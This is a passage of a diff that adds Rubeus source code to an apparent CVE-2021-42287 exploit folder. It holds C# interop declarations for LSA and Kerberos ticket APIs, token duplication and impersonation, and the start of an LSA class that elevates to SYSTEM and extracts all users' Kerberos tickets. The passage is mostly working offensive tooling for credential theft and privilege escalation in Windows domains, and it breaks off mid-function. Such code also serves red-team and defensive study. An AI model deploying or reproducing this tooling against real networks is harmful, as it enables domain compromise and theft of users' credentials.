KERB_SUBMIT_TKT_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + public int Flags; + public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED + public int KerbCredSize; + public int KerbCredOffset; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_PURGE_TKT_CACHE_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + LSA_STRING_IN ServerName; + LSA_STRING_IN RealmName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CRYPTO_KEY32 + { + public int KeyType; + public int Length; + public int Offset; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_IN + { + public UInt16 Length; + public UInt16 MaximumLength; + public string Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_OUT + { + public UInt16 Length; + public UInt16 MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING + { + public UInt16 Length; + public UInt16 MaximumLength; + public String Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr buffer; + + public UNICODE_STRING(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + + public override string ToString() + { + return Marshal.PtrToStringUni(buffer); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_RETRIEVE_TKT_RESPONSE + { + public KERB_EXTERNAL_TICKET Ticket; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_EXTERNAL_TICKET + { + public IntPtr ServiceName; + public IntPtr TargetName; + public IntPtr ClientName; + public LSA_STRING_OUT DomainName; + public LSA_STRING_OUT TargetDomainName; + public LSA_STRING_OUT AltTargetDomainName; + public KERB_CRYPTO_KEY SessionKey; + public UInt32 TicketFlags; + public UInt32 Flags; + public Int64 KeyExpirationTime; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewUntil; + public Int64 TimeSkew; + public Int32 EncodedTicketSize; + public IntPtr EncodedTicket; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CRYPTO_KEY + { + public Int32 KeyType; + public Int32 Length; + public IntPtr Value; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_RETRIEVE_TKT_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + public UNICODE_STRING TargetName; + public UInt32 TicketFlags; + public UInt32 CacheOptions; + public Int32 EncryptionType; + public SECURITY_HANDLE CredentialsHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_QUERY_TKT_CACHE_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_QUERY_TKT_CACHE_RESPONSE + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public int CountOfTickets; + public IntPtr Tickets; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO + { + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT RealmName; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX2 + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + + public UInt32 SessionKeyType; + public UInt32 BranchId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO_EX3 + { + public LSA_STRING_OUT ClientName; + public LSA_STRING_OUT ClientRealm; + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT ServerRealm; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + + public UInt32 SessionKeyType; + public UInt32 BranchId; + + public UInt32 CacheFlags; + public LSA_STRING_OUT KdcCalled; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_EXTERNAL_NAME + { + public Int16 NameType; + public UInt16 NameCount; + + [MarshalAs(UnmanagedType.ByValArray, + SizeConst = 3)] + public LSA_STRING_OUT[] Names; + //public LSA_STRING_OUT[] Names; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_LOGON_SESSION_DATA + { + public UInt32 Size; + public LUID LoginID; + public LSA_STRING_OUT Username; + public LSA_STRING_OUT LoginDomain; + public LSA_STRING_OUT AuthenticationPackage; + public UInt32 LogonType; + public UInt32 Session; + public IntPtr PSiD; + public UInt64 LoginTime; + public LSA_STRING_OUT LogonServer; + public LSA_STRING_OUT DnsDomainName; + public LSA_STRING_OUT Upn; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public int Length; + public IntPtr lpSecurityDescriptor; + public bool bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct TOKEN_STATISTICS + { + public LUID TokenId; + public LUID AuthenticationId; + public long ExpirationTime; + public uint TokenType; + public uint ImpersonationLevel; + public uint DynamicCharged; + public uint DynamicAvailable; + public uint GroupCount; + public uint PrivilegeCount; + public LUID ModifiedId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TOKEN_ORIGIN + { + public LUID OriginatingLogonSession; + } + + // the following are adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [StructLayout(LayoutKind.Sequential)] + public struct SecHandle //=PCtxtHandle + { + IntPtr dwLower; // ULONG_PTR translates to IntPtr not to uint + IntPtr dwUpper; // this is crucial for 64-Bit Platforms + } + + [StructLayout(LayoutKind.Sequential)] + public struct SecBuffer : IDisposable + { + public int cbBuffer; + public int BufferType; + public IntPtr pvBuffer; + + + public SecBuffer(int bufferSize) + { + cbBuffer = bufferSize; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(bufferSize); + } + + public SecBuffer(byte[] secBufferBytes) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)bufferType; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public void Dispose() + { + if (pvBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(pvBuffer); + pvBuffer = IntPtr.Zero; + } + } + } + + public struct MultipleSecBufferHelper + { + public byte[] Buffer; + public SecBufferType BufferType; + + public MultipleSecBufferHelper(byte[] buffer, SecBufferType bufferType) + { + if (buffer == null || buffer.Length == 0) + { + throw new ArgumentException("buffer cannot be null or 0 length"); + } + + Buffer = buffer; + BufferType = bufferType; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecBufferDesc : IDisposable + { + + public int ulVersion; + public int cBuffers; + public IntPtr pBuffers; //Point to SecBuffer + + public SecBufferDesc(int bufferSize) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(bufferSize); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(byte[] secBufferBytes) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(MultipleSecBufferHelper[] secBufferBytesArray) + { + if (secBufferBytesArray == null || secBufferBytesArray.Length == 0) + { + throw new ArgumentException("secBufferBytesArray cannot be null or 0 length"); + } + + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = secBufferBytesArray.Length; + + //Allocate memory for SecBuffer Array.... + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecBuffer)) * cBuffers); + + for (int Index = 0; Index < secBufferBytesArray.Length; Index++) + { + //Super hack: Now allocate memory for the individual SecBuffers + //and just copy the bit values to the SecBuffer array!!! + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytesArray[Index].Buffer, secBufferBytesArray[Index].BufferType); + + //We will write out bits in the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Note that we won't be releasing the memory allocated by ThisSecBuffer until we + //are disposed... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + Marshal.WriteInt32(pBuffers, CurrentOffset, ThisSecBuffer.cbBuffer); + Marshal.WriteInt32(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer), ThisSecBuffer.BufferType); + Marshal.WriteIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer) + Marshal.SizeOf(ThisSecBuffer.BufferType), ThisSecBuffer.pvBuffer); + } + } + + public void Dispose() + { + if (pBuffers != IntPtr.Zero) + { + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + ThisSecBuffer.Dispose(); + } + else + { + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here is to grab a hold of the pvBuffer allocate by the individual + //SecBuffer and release it... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.FreeHGlobal(SecBufferpvBuffer); + } + } + + Marshal.FreeHGlobal(pBuffers); + pBuffers = IntPtr.Zero; + } + } + + public byte[] GetSecBufferByteArray() + { + byte[] Buffer = null; + + if (pBuffers == IntPtr.Zero) + { + throw new InvalidOperationException("Object has already been disposed!!!"); + } + + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + + if (ThisSecBuffer.cbBuffer > 0) + { + Buffer = new byte[ThisSecBuffer.cbBuffer]; + Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer); + } + } + else + { + int BytesToAllocate = 0; + + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here calculate the total number of bytes we need to copy... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset); + } + + Buffer = new byte[BytesToAllocate]; + + for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Now iterate over the individual buffers and put them together into a + //byte array... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy); + BufferIndex += BytesToCopy; + } + } + + return (Buffer); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INTEGER + { + public uint LowPart; + public int HighPart; + public SECURITY_INTEGER(int dummy) + { + LowPart = 0; + HighPart = 0; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_HANDLE + { + public IntPtr LowPart; + public IntPtr HighPart; + public SECURITY_HANDLE(int dummy) + { + LowPart = HighPart = IntPtr.Zero; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecPkgContext_Sizes + { + public uint cbMaxToken; + public uint cbMaxSignature; + public uint cbBlockSize; + public uint cbSecurityTrailer; + }; + + // taken from https://github.com/tevora-threat/SharpView + [StructLayout(LayoutKind.Sequential)] + public class NetResource + { + public ResourceScope Scope; + public ResourceType ResourceType; + public ResourceDisplaytype DisplayType; + public int Usage; + public string LocalName; + public string RemoteName; + public string Comment; + public string Provider; + } + + + + + + // functions + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); + + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + public static extern int CDLocateCheckSum(KERB_CHECKSUM_ALGORITHM type, out IntPtr pCheckSum); + + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1753-L1767 + public delegate int KERB_ECRYPT_Initialize(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext); + public delegate int KERB_ECRYPT_Encrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); + public delegate int KERB_ECRYPT_Decrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); + public delegate int KERB_ECRYPT_Finish(ref IntPtr pContext); + + public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output); + + //https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1760-L1767 + public delegate int KERB_CHECKSUM_Initialize(int unk0, out IntPtr pContext); + public delegate int KERB_CHECKSUM_Sum(IntPtr pContext, int Size, byte[] Buffer); + public delegate int KERB_CHECKSUM_Finalize(IntPtr pContext, byte[] Buffer); + public delegate int KERB_CHECKSUM_Finish(ref IntPtr pContext); + public delegate int KERB_CHECKSUM_InitializeEx(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext); + + + [DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int DsGetDcName( + [MarshalAs(UnmanagedType.LPTStr)] string ComputerName, + [MarshalAs(UnmanagedType.LPTStr)] string DomainName, + [In] int DomainGuid, + [MarshalAs(UnmanagedType.LPTStr)] string SiteName, + [MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags, + out IntPtr pDOMAIN_CONTROLLER_INFO); + + [DllImport("Netapi32.dll", SetLastError = true)] + public static extern int NetApiBufferFree(IntPtr Buffer); + + [DllImport("kernel32.dll")] + public extern static void GetSystemTime(ref SYSTEMTIME lpSystemTime); + + // LSA functions + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaConnectUntrusted( + [Out] out IntPtr LsaHandle + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaLookupAuthenticationPackage( + [In] IntPtr LsaHandle, + [In] ref LSA_STRING_IN PackageName, + [Out] out int AuthenticationPackage + ); + + [DllImport("kernel32.dll")] + public static extern IntPtr LocalAlloc( + uint uFlags, + uint uBytes + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern uint LsaNtStatusToWinError( + uint status + ); + + [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] + public static extern uint LsaFreeMemory( + IntPtr buffer + ); + + [DllImport("kernel32.dll", EntryPoint = "CopyMemory", SetLastError = false)] + public static extern void CopyMemory( + IntPtr dest, + IntPtr src, + uint count + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaCallAuthenticationPackage( + IntPtr LsaHandle, + int AuthenticationPackage, + IntPtr ProtocolSubmitBuffer, + int SubmitBufferLength, + out IntPtr ProtocolReturnBuffer, + out int ReturnBufferLength, + out int ProtocolStatus + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaDeregisterLogonProcess( + [In] IntPtr LsaHandle + ); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int LsaRegisterLogonProcess( + ref LSA_STRING_IN LogonProcessName, + out IntPtr LsaHandle, + out ulong SecurityMode + ); + + // for GetSystem() + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken( + IntPtr ProcessHandle, + UInt32 DesiredAccess, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll")] + public static extern bool DuplicateToken( + IntPtr ExistingTokenHandle, + int SECURITY_IMPERSONATION_LEVEL, + ref IntPtr DuplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser( + IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool GetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + UInt32 logonFlags, + String applicationName, + String commandLine, + UInt32 creationFlags, + UInt32 environment, + String currentDirectory, + ref STARTUPINFO startupInfo, + out PROCESS_INFORMATION processInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CloseHandle( + IntPtr hObject + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern int LsaEnumerateLogonSessions( + out UInt64 LogonSessionCount, + out IntPtr LogonSessionList + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern uint LsaGetLogonSessionData( + IntPtr luid, + out IntPtr ppLogonSessionData + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern uint LsaFreeReturnBuffer( + IntPtr buffer + ); + + // adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int AcquireCredentialsHandle( + string pszPrincipal, //SEC_CHAR* + string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative" + int fCredentialUse, + IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID + IntPtr pAuthData,//PVOID + int pGetKeyFn, //SEC_GET_KEY_FN + IntPtr pvGetKeyArgument, //PVOID + ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref + ref SECURITY_INTEGER ptsExpiry //PTimeStamp //TimeStamp ref + ); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int InitializeSecurityContext( + ref SECURITY_HANDLE phCredential,//PCredHandle + IntPtr phContext, //PCtxtHandle + string pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + IntPtr pInput, //PSecBufferDesc SecBufferDesc + int Reserved2, + out SECURITY_HANDLE phNewContext, //PCtxtHandle + out SecBufferDesc pOutput, //PSecBufferDesc SecBufferDesc + out uint pfContextAttr, //managed ulong == 64 bits!!! + out SECURITY_INTEGER ptsExpiry //PTimeStamp + ); + + [DllImport("secur32.dll")] + public static extern int DeleteSecurityContext( + ref SECURITY_HANDLE phContext + ); + + [DllImport("secur32.dll", CharSet = CharSet.Auto)] + public static extern int FreeCredentialsHandle( + [In] ref SECURITY_HANDLE phCredential + ); + + [DllImport("Secur32.dll")] + public static extern int FreeContextBuffer( + ref IntPtr pvContextBuffer + ); + + // taken from https://github.com/tevora-threat/SharpView + [DllImport("mpr.dll")] + public static extern int WNetAddConnection2(NetResource netResource, + string password, string username, int flags); + + [DllImport("mpr.dll")] + public static extern int WNetCancelConnection2(string name, int flags, + bool force); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop/Luid.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop/Luid.cs new file mode 100644 index 0000000..453b890 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop/Luid.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.lib.Interop +{ + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public Int32 HighPart; + + public LUID(UInt64 value) + { + LowPart = (UInt32)(value & 0xffffffffL); + HighPart = (Int32)(value >> 32); + } + + public LUID(LUID value) + { + LowPart = value.LowPart; + HighPart = value.HighPart; + } + + public LUID(string value) + { + if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$")) + { + // if the passed LUID string is of form 0xABC123 + UInt64 uintVal = Convert.ToUInt64(value, 16); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$")) + { + // if the passed LUID string is a decimal form + UInt64 uintVal = UInt64.Parse(value); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else + { + System.ArgumentException argEx = new System.ArgumentException("Passed LUID string value is not in a hex or decimal form", value); + throw argEx; + } + } + + public override int GetHashCode() + { + UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; + return Value.GetHashCode(); + } + + public override bool Equals(object obj) + { + return obj is LUID && (((ulong)this) == (LUID)obj); + } + + public override string ToString() + { + UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; + return String.Format("0x{0:x}", (ulong)Value); + } + + public static bool operator ==(LUID x, LUID y) + { + return (((ulong)x) == ((ulong)y)); + } + + public static bool operator !=(LUID x, LUID y) + { + return (((ulong)x) != ((ulong)y)); + } + + public static implicit operator ulong(LUID luid) + { + // enable casting to a ulong + UInt64 Value = ((UInt64)luid.HighPart << 32); + return Value + luid.LowPart; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop/NtException.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop/NtException.cs new file mode 100644 index 0000000..f77c2bd --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop/NtException.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.lib.Interop +{ + public class NtException : Exception + { + [DllImport("ntdll.dll")] + public static extern int RtlNtStatusToDosError(int status); + + internal const int ERROR_MR_MID_NOT_FOUND = 317; + + public NtException(int errorCode): base(GetErrorMessage(errorCode)) + { + } + + private static string GetErrorMessage(int errorCode) + { + if (Rubeus.Interop.LsaNtStatusToWinError((uint)errorCode) == ERROR_MR_MID_NOT_FOUND) + { + return $"NTSTAUTS error code 0x{errorCode.ToString("X")}"; + } + else + { + return $"NTSTATUS error code 0x{errorCode.ToString("X")}: " + (new Win32Exception(errorCode)).Message; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/KDCKeyAgreement.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/KDCKeyAgreement.cs new file mode 100644 index 0000000..0e95e7e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/KDCKeyAgreement.cs @@ -0,0 +1,74 @@ +using Kerberos.NET.Crypto; +using System.Security.Cryptography; + +namespace Rubeus { + + public class KDCKeyAgreement { + + public byte[] P { get { return Oakley.Group14.Prime; } } + public byte[] G { get { return Oakley.Group14.Generator; } } + public byte[] Q { get { return Oakley.Group14.Factor; } } + public byte[] Y {get { return diffieHellman.PublicKey.PublicComponent; } } + + ManagedDiffieHellmanOakley14 diffieHellman = new ManagedDiffieHellmanOakley14(); + + public KDCKeyAgreement() { + } + + private static byte[] CalculateIntegrity(byte count, byte[] data) { + + byte[] input = new byte[data.Length + 1]; + input[0] = count; + data.CopyTo(input, 1); + + using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) { + return sha1.ComputeHash(input); + } + } + + private static byte[] kTruncate(int k, byte[] x) { + + int numberOfBytes = k; + byte[] result = new byte[numberOfBytes]; + + int count = 0; + byte[] filler = CalculateIntegrity((byte)count, x); + + int position = 0; + + for (int i = 0; i < numberOfBytes; i++) { + if (position < filler.Length) { + result[i] = filler[position]; + position++; + } else { + count++; + filler = CalculateIntegrity((byte)count, x); + position = 0; + result[i] = filler[position]; + position++; + } + } + + return result; + } + + public byte[] GenerateKey(byte[] otherPublicKey, byte[] clientNonce, byte[] serverNonce, int size) { + + DiffieHellmanKey diffieHellmanKey = new DiffieHellmanKey(); + diffieHellmanKey.PublicComponent = otherPublicKey; + diffieHellmanKey.KeyLength = otherPublicKey.Length; + diffieHellmanKey.Type = AsymmetricKeyType.Public; + + diffieHellman.ImportPartnerKey(diffieHellmanKey); + byte[] sharedSecret = diffieHellman.GenerateAgreement(); + + byte[] x = new byte[sharedSecret.Length + clientNonce.Length + serverNonce.Length]; + + sharedSecret.CopyTo(x, 0); + clientNonce.CopyTo(x, sharedSecret.Length); + serverNonce.CopyTo(x, sharedSecret.Length + clientNonce.Length); + + return kTruncate(size, x); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/LSA.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/LSA.cs new file mode 100644 index 0000000..04c7090 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/LSA.cs @@ -0,0 +1,1591 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using System.Security.AccessControl; +using System.Globalization; +using Microsoft.Win32; +using ConsoleTables; +using System.Security.Principal; +using Rubeus.lib.Interop; +using System.IO; +using Rubeus.Kerberos; +using Rubeus.Kerberos.PAC; +using System.Linq; + +namespace Rubeus +{ + public class LSA + { + #region LSA interaction + + public enum TicketDisplayFormat : int + { + None = 0, // if we're just after enumerated tickets + Triage = 1, // triage table output + Klist = 2, // traditional klist format + Full = 3 // full ticket data extraction (a la "dump") + } + + public class SESSION_CRED + { + // contains information on a logon session and any associated credentials + // used/returned by ExtractTickets + + public LogonSessionData LogonSession; + + public List Tickets; + } + + public class KRB_TICKET + { + // contains cache info (i.e. KERB_TICKET_CACHE_INFO_EX) and the full .kirbi + public string ClientName; + public string ClientRealm; + public string ServerName; + public string ServerRealm; + public DateTime StartTime; + public DateTime EndTime; + public DateTime RenewTime; + public Int32 EncryptionType; + public Interop.TicketFlags TicketFlags; + public KRB_CRED KrbCred; + } + + public static IntPtr LsaRegisterLogonProcessHelper() + { + // helper that establishes a connection to the LSA server and verifies that the caller is a logon application + // used for Kerberos ticket enumeration for ALL users + + var logonProcessName = "User32LogonProcesss"; // yes I know this is "weird" ;) + Interop.LSA_STRING_IN LSAString; + var lsaHandle = IntPtr.Zero; + UInt64 securityMode = 0; + + LSAString.Length = (ushort)logonProcessName.Length; + LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1); + LSAString.Buffer = logonProcessName; + + var ret = Interop.LsaRegisterLogonProcess(ref LSAString, out lsaHandle, out securityMode); + + return lsaHandle; + } + + public static IntPtr GetLsaHandle() + { + // returns a handle to LSA + // uses LsaConnectUntrusted() if not in high integrity + // uses LsaRegisterLogonProcessHelper() if in high integrity + + IntPtr lsaHandle; + + if (!Helpers.IsHighIntegrity()) + { + int retCode = Interop.LsaConnectUntrusted(out lsaHandle); + } + + else + { + lsaHandle = LsaRegisterLogonProcessHelper(); + + // if the original call fails then it is likely we don't have SeTcbPrivilege + // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token + if (lsaHandle == IntPtr.Zero) + { + var currentName = WindowsIdentity.GetCurrent().Name; + + if (Helpers.IsSystem()) + { + // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper + lsaHandle = LsaRegisterLogonProcessHelper(); + } + else + { + // elevated but not system, so gotta GetSystem() first + if (!Helpers.GetSystem()) + { + throw new Exception("Could not elevate to system"); 